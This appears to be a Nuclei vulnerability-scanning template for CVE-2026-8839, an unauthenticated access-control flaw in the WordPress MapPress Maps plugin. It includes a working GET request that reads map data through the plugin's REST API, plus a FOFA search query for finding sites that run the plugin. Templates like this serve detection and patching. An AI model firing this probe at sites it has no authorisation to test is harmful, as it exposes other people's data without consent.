CVE-2026-8839: WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR

id: CVE-2026-8839

info:
  name: WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR
  author: 0x_Akoko
  severity: medium
  description: |
    MapPress Maps for WordPress <= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests
  impact: |
    Unauthenticated attackers can read sensitive map data; authenticated contributors can modify or delete any map, risking data exposure and unauthorized modifications.
  remediation: |
    Update to the latest version beyond 2.96.6.
  reference:
    - https://plugins.trac.wordpress.org/browser/mappress-google-maps-for-wordpress/trunk/mappress_api.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8839
    - https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-8839
    epss-score: 0.01018
    epss-percentile: 0.61625
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wp-content/plugins/mappress-google-maps-for-wordpress"
  tags: cve,cve2026,wordpress,wp-plugin,mappress,idor,exposure,wp

http:
  - raw:
      - |
        GET /wp-json/mapp/v1/maps/1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"mapid\"", "\"pois\"", "\"center\"")'
        condition: and
# digest: 4a0a004730450221009364863ef58368f469e42e59bb45e2238547054d14f0750d1cd0fdb23d9231fc0220774b19ca1e0561d524bc7b5b2b5f8b5b9325e6c4775a85b071b47f485f01335e:922c64590222798bb761d5b6d8e72950

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